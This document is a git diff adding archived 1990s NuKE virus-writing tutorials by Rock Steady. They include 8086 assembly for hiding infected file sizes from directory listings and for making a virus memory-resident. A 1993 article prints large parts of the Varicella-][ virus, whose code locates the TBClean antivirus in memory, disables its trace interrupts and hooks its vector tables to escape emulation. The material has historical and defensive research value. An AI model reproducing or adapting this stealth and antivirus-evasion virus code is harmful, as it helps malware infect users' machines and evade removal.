visable. There is no doubt about + it, if you only put Method #1 in your virus you will encounter times + were the file increase shows. Its not because your Routine isn't good! + But due to the fact that there is another way to Read the Dir Listing + by DOS. An this method is Call File-find by ASCIIZ format. + + We just learned how to edit File-Find by FCB. Which is used by MS-DOS + PC-DOS and some other programs. But unlike the others, they use the + ASCIIZ file-Find method as it is EASIER to open, close, edite, and any + other file access routine is ALOT easier with the ASCIIZ or (File Handle) + system. So we will make our Virus Stealth to Method #2! Making us 100% + Stealth from file-finds... + + The Function we have to Intecept is Interrupt 21h, with Functions + AH=4Eh (Find First Matching File) and AH=4F (Find Next Matching File) + The Way to go about it is Very much ALIKE to the first one, so just + understand the thoery, and you'll be able to program it within + seconds. + + When this function is called, it will fill the current DTA with 12 + entries totally 43 bytes. The DTA will be set up as follows: (below) + BTW: DTA is only a place DOS uses to do Disk Transfer Areas! It ISN'T + like the FCB, or PSP that is anyways the same! You can play with + this as you wish. You also use this DTA to read the Command Line + Parameters...etc... + + Offset Size Description + 컴컴컵컴컴탠컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + 00h � 1 � Drive Letter + 01h � 11 � Seach Template (Eg:????????COM) + 0Ch � 1 � Attribute Search + 0Dh � 2 � Entry count within Directory + 0Fh � 2 � Cluster Number of start of parent directory + 11h � 4 � Reserved (Atleast Undocumented) + 15h � 1 � Attribute of File FOUND + @ 16h � 2 � File's Time (Bits : SSSS-SMMM-MMMH-HHHH) Sec/2:Month:Year + 18h � 2 � File's Date (Bits : DDDD-DMMM-MYYY-YYYY) Day:Month:Year + * 1Ah � 4 � File's Size (Word Reverse Order, Dah!!?!) + 1Eh � 13 � ASCIIZ File name & Extension + * = Must be Edited by Virus is File Infected + @ = Needed to Check if File is Infected. (Seconds Field) + + %Algorthm% + ~~~~~~~~~~ + CONDISTION: DS:DX points to ASCIIZ of file search. + CX: Contains File Attributes + + Step 1. Call Dos so it fills the DTA with its findings + Step 2. Test for CF=1 (Carry Flag) as error happened + errors happen if File not found, no more files etc... + Step 3. Get Seconds Field And UnMask Seconds + Step 4. Check if seconds = 58 (What ever your using) Quit if NOT + Notice we use `XOR AL,1Dh' rather than `CMP AL,1Dh' + Check in your ASM Bible, which is Faster? Size? + Remember speed & size is EVERYTHING, That is why + My lastest are quite small viriis for stealthness!! + Step 5. If Infected Subtract Virus Size from File + Step 6. Quit + + ;This is the routine. once you get AH=4Eh/4Fh in you Int 21h Call this + ;Routine... (Look at Method #1 for Int21h handler) + Dir_Stealth2 + pushf ;Fake an Int Call + push cs ;Save our location + call int21Call ;Step #1 + jc no_good ;Error Split + push ax + push bx + push es + mov ah,51h ;Get Current DTA + int 21h ;ES:BX --> DTA + + mov ax,es:[bx+16h] ;Get File Time + and ax,1fh ;Un Mask Seconds field + xor al,1dh ;Is it 58 Seconds? + jnz not_infected ;Not infected! Dah? + sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! + sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! + not_infected: + pop es + pop bx ;Restore Registers + pop ax + no_Good:iret + ; This code WORKS and is also 100% (c) Rock Steady / NuKE + ;--------------------------EnD------------------------------- + + Rock Steady + `WaTch OuT WaReZ PuPpiEs NuKE PoX V2.0 WiLl GeTcHa' diff --git a/textfiles.com/virus/rstut009.txt b/textfiles.com/virus/rstut009.txt new file mode 100644 index 00000000..b9efe117 --- /dev/null +++ b/textfiles.com/virus/rstut009.txt @@ -0,0 +1,72 @@ + + ******************************* + ** Memory Stealth ** + ** ** + ** By Rock Steady/NuKE ** + ******************************* + +The Advantages of having a Memory Resident Virus, are unlimited. When our +virus goes `TSR' it REALLY doesn't do ANYTHING. It just stays there, +waiting to be called upon. the 80x86 really doesn't MULTITASK, so don't +think the virus runs `in the Background' TSRs tend to hook on Interrupts, +depending what function they must do. If it must be called upon OFTEN, +hook Int 1C, if your must run when an File is Executed/Open/Close Hook +Int 21h. And everytime Int 21h is called, Your Virus Runs FIRST, then it +calls the original Int 21h. + +I will try to explain on how cut off a block of Memory, Then we'll +allocate memory for the Virus, change the program MCB, and move the +virus resident in memory. + +para_size equ 3 + + mov cx,es ;Get current Segment + dec cx ;Subtract 1, so we have MCB + mov es,cx ;Restore it back to ES + mov bx,es:para_size ;BX=MCB Size in Paragraphs + mov dx,virus_size ;DX=Virus Size + mov cl,4 ;Unfortunately, VirusSize is in Bytes + shr dx,cl ;While memory size is calculated in + add dx,4 ;paragraphs (16-Byte) + mov cx,es ;Start to Restore the Old Segment in ES + sub bx,dx ;oh, yeah, Minus Virus - Current memory + inc cx ;Increment CX + mov es,cx ;Put it back, NOTICE a PUSH ES + POP ES + mov ah,4ah ;would have been BETTER!!!!! + int 21h ;Call Dos to Adjust Memory block Size + +; First part has been easily completed, Next code, Allocates Memory for +; the Virus... + jc exit_com ;Test, incase Error Happened + mov ah,48h ;Allocate Memory function + dec dx + mov bx,dx ;Number of 16-Byte Paragraphs to + int 21h ;Allocate + +; Next this Function Returns the Segment of the Allocated memory Block +; in AX register. So edit its MCB and move the virus resident. +mem equ 2 ;Put theses with the rest... + jc exit_com ;Another Test for Errors... + dec ax ;Get it MCB + mov es,ax ;Put it into ES + mov cx,8h + mov es:mem,cx ;Fix MCB PSP blocks Owner + sub ax,0fh + mov di,103h ;Offset of where virus will start. + mov es,ax ;With is Segment + mov si,bp ;Put BP (Delta Offset) in SI + add si,offset init_virus ;Add to point to the begining of Virus + mov cx,virus_size ;How many Bytes to move? + cld ;Clear Direction Flag (Ascending) + repne movsb ;Copy from DS:SI to ES:DI + +That is all needed to do the trick. And it will not show up with the Memory +Mapping Utilities like MEM or CHKDSK. However Dos will report Available +memory to be short by the Number of Paragraphs we Allocated. I will try +to fix this DARN thing that drives me crazy, I believe it can be solved +like our FCB Dir Method, Where we can add the Number of Paragraphs our +Virus Allocated back to them Memory Mapping Utilities. There IS a WAY! +And we will find it... This topic will be continued in Info Journal #5. + + Rock Steady + `Check out N-PoX(es) to see this Routine Working' diff --git a/textfiles.com/virus/rstut010.txt b/textfiles.com/virus/rstut010.txt new file mode 100644 index 00000000..9c7bee60 --- /dev/null +++ b/textfiles.com/virus/rstut010.txt @@ -0,0 +1,540 @@ +================================================================================ + NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE + uK E- + E- "The Dangers of Thunderbyte's TBClean Emulation Nu + Nu Techniques" KE + KE -N + -N By uK + uK Rock Steady E- + E- Nu + E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu + +NuKE InfoJournal #7 +August 1993 + + +% AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 % + +% DISCLAIMER % + +This article is concerning a study and field test of the reliability of +Thunderbyte's anti-virus package. The study was conducted by Rock Steady, +and this is simply a report about his extensive study of Thunderbyte's +TBClean utility. This report is not intended to scare people away from +Thunderbyte's anti-virus package, but rather to show you how TBClean +actually works in order to clean a virus. The information here may disturb +many people, nevertheless it is presented here for the safety of those who +use Thunderbyte's TBClean in a home and/or business environment. + + +% What is ThunderByte % + +Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte +Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean +computer viruses. In this issue of the NuKE InfoJournal, we will take a +very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE +which is supplied in every TBAV package. + +TBCLEAN.EXE is a program that tries to remove viruses from your infected +files by using an heuristic/emulation approach. Now, for those who don't +understand what an heuristic/emulation approach is let me try to explain +it to you in more simplified, less-technical terms. + +TBClean will try to set up a "control" environment to execute the virus. You +see, many of the computer viruses today will attach themselves to binary files +and alter them in such a way that when you try to execute (run) the binary +file the virus will execute first and install itself into memory, and then +the virus will execute the original binary file it is attached to. Now, every +????????.COM and ????????.EXE binary file contains an entry point. This is the +point from which DOS to starts to execute the code. Basically it is +the beginning of the program, and in order for the file to run properly we +need to start at that entry point. Now *.COM files contain a FIXED entry point +which is location 100h. Now if we attach a virus to the end of the COM file, +we have to fix the entry point so that when executed the virus will run +first. Since this is a FIXED entry point, we will go to location 100h, and +put a JMP statement to jump to the entry point of the virus. For the +original file to execute correctly, we will need the original three bytes +at the entry point, since the JMP we put for it to jump to the virus entry +point took three bytes of data in the .COM. So when the virus gives control +back to the file, we then must restore the original three bytes and execute +them. + +Now to remove the virus from the .COM file we need to know where the original +three bytes are. So TBClean will actually execute the virus and try to catch +the virus restoring the original three bytes. Once that happens, TBClean can +safely remove the virus from the file, as it now can replace the original +three bytes where the virus put its jump statement. + +Now .EXEs have a variable entry point, rather than a fixed one like the .COM +files. Each .EXE file contains a header of about 32 bytes in the beginning +of the file which has information about the .EXE itself, including the entry +point. Now when a virus attaches (infects) itself to an .EXE file, it simply +puts its entry point inside the .EXE header and saves the original one for +later use. + +Again, in order to remove a file from an .EXE file, we will need to have the +original entry point location. And TBClean does this by executing the virus +in a controlled environment; when the virus restores control back to the +.EXE file, it will jump to the entry point location. TBClean will halt +at that point and attempt to clean the file. + + +% The Problem % + +The problem when doing this, the virus can always escape from this controlled +environment and go loose. In fact we at NuKE have attempted and succeeded in +doing just that! + + +% Explanation % + +When you run TBClean to disinfect a virus-infected file, it does several +things in order to set up the environment needed to execute the virus. One of +things that TBClean does is check to see if it is being debugged. + +I guess the makers of TBClean did not want people to "debug" their software +in order to have a closer look because once you know how the program works +you then can attempt to bypass it. The easiest way to bypass the anti-debug +traps is to use a debugger package that can go TSR and put loose breakpoints. +I've found that Periscope and SoftIce can easily bypass the TBClean traps, +or you may set a TSR file and set it to go off on the first interrupt 21h, +function 3Dh (DOS Open File). + +The next main trick TBClean does is that it occupies all of the remaining +memory left in the system. TBClean only requires about 20k for itself, but +nevertheless it will occupy all the remaining memory left in the system. It +will use this memory for the file it will attempt to clean, but not all of the +memory is really needed, nevertheless it is occupied. Why? Well, because +TBClean wants to set-up a secure environment to run the virus and by occupying +all the available memory if the virus gets out of hand it CAN'T go resident +because there is no more memory left! "Pretty smart," you must be saying to +yourself? Yes, it is a good idea to occupy all of the memory, so like even if +the virus tries to allocate memory it will get an error and it will quit. + +The next trick, before TBClean actually executes the virus in the controlled +environment is that it will make two copies of the interrupt vector table. +This too is a good idea, because if a virus does manage to escape and hook the +vector table, TBClean will notice the vector table change and restore it +with the original value. Therefore, if a virus was to "get out" of this +controlled TBClean environment we would need to hook all three copies of the +vector tables (DOS + the two copies that TBClean makes). + +After this, we are pretty much ready to try to make a disinfection via +emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h, +and 4h to do the actual tracing. The interrupt that we REALLY need to pay +attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086) +they added what we call a Trap Flag. Normally this flag is off, and the +processor executes every line of code without stoping. But when the trap flag +is on, the processor will issue an Int 1h call after every line of code +executed. Therefore, after every line of code is executed the processor will +issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze +the code line by line. + +There are a few restrictions that TBClean enforces; one of them is the Trap +flag must always be on! If you try to turn off the Trap flag, TBClean will +fool the virus into thinking the Trap flag is off, but it really stays on. +Secondly, interrupt calls are not allowed. Thirdly, it will never give you +the true vector address of Int 1h or Int 3h -- it gives you a fake value +instead. Finally, TBClean will NOT allow the virus to have its segment in +the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000, +the value 0ABC is never allowed to go in the DS or ES registers of the virus. +This is done so the virus is not able to snoop inside TBClean. + + +% Making a virus to bypass TBClean % + +After I had successfully taken apart TBClean, and once I understood exactly +how it worked, then I was ready to write a virus to defeat TBClean's +dangerous emulation techniques. + +Don't get me wrong, TBClean has a great idea going, but it contains too many +flaws that must be tightened up. And apparently those flaws can lead to the +destruction of your PC. Just think about it. Let's say you just downloaded a +file from your local BBS, and you used TBSCAN to scan the new file for viruses, +before you attempt to execute it. Lets say the file is infected with a virus +like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus, +wouldn't you naturally try to clean it so you could perhaps use the file? Of +course you would, and what program would you use to do the job? Nothing but +TBClean! + +Picture it, your computer is not infected by any virus, you are pretty much +happy about yourself for using TBSCAN and detecting that virus inside that +file you just downloaded. Your glad you got it before it infected your +computer. Or lets say you got TBScanX resident, and it caught the virus, just +as you attempt to executed it... You now try to clean the file with TBClean. +TBClean does what it has to do, looks at the file and then tries emulation to +disinfect it. After emulation TBClean reports no viruses found, and tells you +that it may not even be infected with a virus. + +You're puzzled? Well, actually TBClean just unleased the virus into your +system! Now who's to blame? Personally, I think it's the incompetent +programmers of TBClean. It allowed too many loopholes in their program, and +the Varicella-][ virus just took advantage of those loopholes and is now +resident in your computer, ready to infect every file you touch. Remember, it +is also a very fast, stealthy virus. + +Personally, if _any_ anti-virus program should attempt to disinfect via +emulation, it must be EXTREMELY cautious, and it should take every +possible loophole into account. Remember, emulation means that you are +actually executing the virus in order to disinfect it. Many people didn't +know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte +should praise NuKE for testing their software and showing them their flaws, so +that they may do whatever is necessary to fix this problem. + +It is fortunate for Thunderbyte that no "evil" virus writer has noticed +this problem and took advantage of it. It would have cost Thunderbyte +their name and market share. + +Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad +that Thunderbyte rated very low under NuKE's personal attack tests in several +fields. + +Thunderbyte reported too many false positives, meaning it screamed *VIRUS* +when no virus was present. It is enough that the average computer user is +paranoid about viruses, but if you "cry wolf" too many times people lose hope +in the package. + +Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and +under OS/2. This seems to be because TBSCAN uses its own file routines, instead +of DOS's. + +Thunderbyte is also not very user friendly -- 4 out of 5 moms found this +package too difficult to use. A Windows version of Thunderbyte could +be a great plus. + + +% And in this corner...Varicella-][ % + +Let's go into detail with parts of the Varicella-][ virus and let's show you why +it works. + + 1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag + 2 xor dx,dx ;dx=0 + 3 mov ds,dx ;ds=0 + 4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of + 5 dec ax + 6 mov ds,ax + +Okay, after looking at the above we begin by resetting our TB flag. TBClean +will not give us the complete address of Int 1h. It will only give us the +correct segment, the offset is no good. Therefore let's simply take the segment. +Now we know the segment location of TBClean in memory, since TBClean will +not let me store the value in DS, let's subtract 1 and *then* store it in DS. +We have again fooled TBClean; maybe we can't have TBClean's correct segment +in DS, but by subtracting 1 and adding 16 to IP, we get the exact location. + +In the next block of code, we will search 64k of TBClean's memory in order to +find the Int 1h and 3h offsets and the two copies of the vector table. This is +the bit of data we will be searching for. + +====================Somewhere in TBClean.EXE==v6.04=================== + 1 cs:04A4 33C0 xor ax,ax + 2 cs:04A6 8ED8 mov ds,ax + 3 cs:04A8 8BF8 mov si,ax + 4 cs:04AA BF342D mov di,2D34 + 5 cs:04AD B90002 mov cx,0200 + 6 cs:04B0 F3A5 rep movsw + +[The above block is coping the vector table (0000:0000) to location + ES:DI (ES:2D34). This value we will need.] + + 7 cs:04B2 FA cli + 8 cs:04B3 C70600005411 mov word ptr [0000],1154 + 9 cs:04B9 8C0E0200 mov [0002],cs +10 cs:04BD C7060400E513 mov word ptr [0004],13E5 +11 cs:04C3 8C0E0600 mov [0006],cs +12 cs:04C7 C7060C006B15 mov word ptr [000C],156B +13 cs:04CD 8C0E0E00 mov [000E],cs +14 cs:04D1 C70610005411 mov word ptr [0010],1154 +15 cs:04D7 8C0E1200 mov [0012],cs +16 cs:04DB C70614005411 mov word ptr [0014],1154 +17 cs:04E1 8C0E1600 mov [0016],cs +18 cs:04E5 C70618005411 mov word ptr [0018],1154 +19 cs:04EB 8C0E1A00 mov [001A],cs +20 cs:04EF C7066C002411 mov word ptr [006C],1124 +21 cs:04F5 8C0E6E00 mov [006E],cs +22 cs:04F9 FB sti + +[The above block is hooking the vector table. This is were we get our + Int 1h and 3h location.] + +23 cs:04FA 8BF0 mov si,ax +24 cs:04FC 8BF8 mov di,ax +25 cs:04FE 2E8E06F032 mov es,cs:[32F0] +26 cs:0503 B90080 mov cx,8000 +27 cs:0506 F3A5 rep movsw + +[The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into + the segment which is in location CS:32F0. We will need to get this + location to hook the interrupts.] +===========================END of TBClean============================= + +Now, the bellow block will start to search for the above block in memory +where we will scan 64k from the segment we got. + + mov cx,0FFFFh ;cx=64k + mov si,dx ;si=0 + +look_4_TBClean: mov ax,word ptr ds:[si] + xor ax,0A5F3h + +[You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky + because TBClean will find out what I'm doing and fool around with the + flag and my test will fail! As you can see, we are looking for the bytes + from line #6. We search by REVERSE-BIT format! To find F3A5 we search with + A5F3.] + je check_it ;jmp if its TBClean +look_again: inc si ;if not continue looking + loop look_4_TBClean + jmp not_found ;not found cont normal + +[If A5F3 is found, we continue with the bottom, which will search for more bytes + in that block captured above. These bytes that we are searching for exist + in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it + should work!] + +check_it: mov ax,word ptr ds:[si+4] + xor ax,0006h + jne look_again ;jmp =! TBClean + mov ax,word ptr ds:[si+10] + xor ax,020Eh + jne look_again ;jmp =! TBClean + mov ax,word ptr ds:[si+12] + xor ax,0C700h + jne look_again ;jmp =! TBClean + mov ax,word ptr ds:[si+14] + xor ax,0406h + jne look_again ;jmp =! TBClean + +[If all the bytes match, it means we found TBClean in memory, and since we + know where we are, we can steal the Int 1h & 3h locations, like we do + bellow.] + mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset + +[Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h + handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to + the offset because the segment is really DS - 1, so to counter act the segment + we add 16 to the offset. (16 bytes = 1 segment)] + + mov byte ptr ds:[bx+16],0CFh ;replace with IRET + +[Same is done for Int 3h bellow.] + + mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset + mov byte ptr ds:[bx+16],0CFh ;replace with IRET + +[TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we + found TBClean, and let's go resident] + + mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on + +[The next block gets the segment of where the 2nd copy of the vector table + is hiding (line #25 in TBClean capture)!] + + mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints + mov word ptr cs:[tb_int2][bp],bx ;vector table + +[The next block gets the offset of the 1st copy of the vector table that + TBClean did (line #4 in TBClean capture).] + + mov bx,word ptr ds:[si-5] ;get offset of 1st copy + mov word ptr cs:[tb_ints][bp],bx ;of vector table + +[Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.] + +not_found: xor dx,dx + push ds + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr cs:[int13+2][bp],es ;save int13 segment + pop ds + + mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag + mov ax,0abcdh ;test if virus is here? + int 13h + cmp bx,0abcdh ;is it? + jne install_virus ;jmp, if not & install +leave_mcb: jmp exit_mem ;yes, leave then + +[This is the tricky part! Remember TBClean occupies ALL available memory! + So I had to come up with a routine that would work when TBClean was NOT in + memory, and when it was! The task was hard...but I did it (naturally, hehe). + + TBClean *NOT* in memory: If TBClean is not in memory, then we start at location + "install_virus" and we get the List of Lists, and we get the FIRST MCB chain + and basically we chain through until we find the END of the MCB chain, which + ends with a "Z" instead of an "M". Once we find the last chain we subtract + the virus size in paragraphs, and that's it... + + TBClean in memory: If TBClean is in memory when the virus finds the LAST + MCB block and tries to subtract its size from it, it will notice that + not enough memory is available. Where then will jump to "steal_some." + + What "steal_some" does is it will REPEAT the process again. Meaning it will + now get the FIRST MCB chain, and chain through the end, but while its chaining + through the MCB, it will look for the MCB that belongs to TBClean!!! Once we + find the MCB that belongs to TBClean we will subtract the virus size in + paragraphs from it and voila -- we stole and allocated memory while bypassing + TBClean!!! And now we can safely return to TBClean without worrying if it will + de-allocate our memory space.] + +;--------- Going Resident ------ + +steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal + cmp al,0ffh ;memory from it! + je leave_mcb ;error? exit then + inc byte ptr cs:[mcb][bp] ;inc flag + cmp al,01 ; + ja mcb3_1 + +install_virus: mov ah,52h ;get the list of lists + int 21h ;use dos + mov ax,es:[bx-2] ;get first mcb chain + + mov es,ax ;es=segment of 1st mcb +mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb + jne mcb2 ;jmp if not + clc ;yes last mcb, CLC + jmp short mcbx ;outta here + +mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain + je mcb3 ;jmp if yes + stc ;error, set carry flag + jmp short mcbx ;outta here + +[The bellow block is special! Meaning if the TB flag is on, we will compare + ALL of the MCB block owners to find the one that belongs to TBClean! Since + we already know the segment of TBClean, we subtract 100h (256) bytes and we + have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since + we already subtracted 1 from the beginning!] + +mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off? + je mcb3_1 ;if yes, then jmp + mov dx,ds ;else cmp TB ds + sub dx,9h ;ds-10 + cmp word ptr es:[0001h],dx ;cmp to mcb owner. + je mcbx_1 + +mcb3_1: mov ax,es ;ax=es + add ax,word ptr es:[0003h] ;ax=es + next mcb + inc ax ;get mcb + mov es,ax ;es=ax:next mcb chain + jmp short mcb1 ;goto first step + +mcbx: jc leave_mcb ;if error, exit +mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h + jb steal_some + mov byte ptr es:[0000],'Z' ;the last mcb chain! + sub word ptr es:[0003],(virus_size/16) + 11h + add ax,word ptr es:[0003h] ;figure out segment + inc ax ;add 16 bytes + mov es,ax ;new segment in es + mov di,103h ;offset is 103h + +[Now we have some memory! Let's move a copy of the virus into that newly + allocated memory under the TOM!] + + push ds ;save TB ds location + push cs + pop ds ;virus cs=ds + mov si,offset init_virus ;si=top of virus + add si,bp ;add delta + mov cx,virus_size ;move virus_size + cld ;clear direction flag + repne movsb ;do it Mr. Crunge + +[Now we will hook the DOS Vector table (0000:0000->0000:0200).] + + mov ds,cx ;ds=0000 +hook_again: cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + +[We will test if the TBClean flag is on! If TBClean flag is on, we will make + DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!] + + cmp byte ptr cs:[tb_here][bp],00h ;was TB found? + je go_on ;no, then jmp + cmp cl,01h ;is this the 2nd x here? + je go_on ;yes, then jmp + mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment + inc cl ;inc cl + jmp short hook_again ;hook ints again + +[If TBClean was found the bellow block will now hook the last copy of the + vector table that TBClean did...] + +go_on: pop ds ;get TB code segment + cmp byte ptr cs:[tb_here][bp],01h ;TB here? + je hook_tb_ints ;yes, then jmp + jmp exit_mem ;else exit +hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset + mov word ptr ds:[si+84h+16],offset int21_handler + mov word ptr ds:[si+86h+16],es + mov word ptr ds:[si+70h+16],offset int1c_handler + mov word ptr ds:[si+72h+16],es + mov word ptr ds:[si+4ch+16],offset int13_handler + mov word ptr ds:[si+4eh+16],es + +[ALL DONE!!! Now we restore to the original file! + + So how does it feel to fool TBClean??? Article #11 contains the complete + source code of the Varicella-][ virus. You may test it as you wish!] + +exit_mem: pop ds + pop es + pop si + cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop dx + pop cx + pop bx + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop word ptr cs:[ax_reg][bp] + pop cx + pop bx + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + mov dx,word ptr cs:[ax_reg][bp] + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + + Rock Steady/NuKE +===============================================================================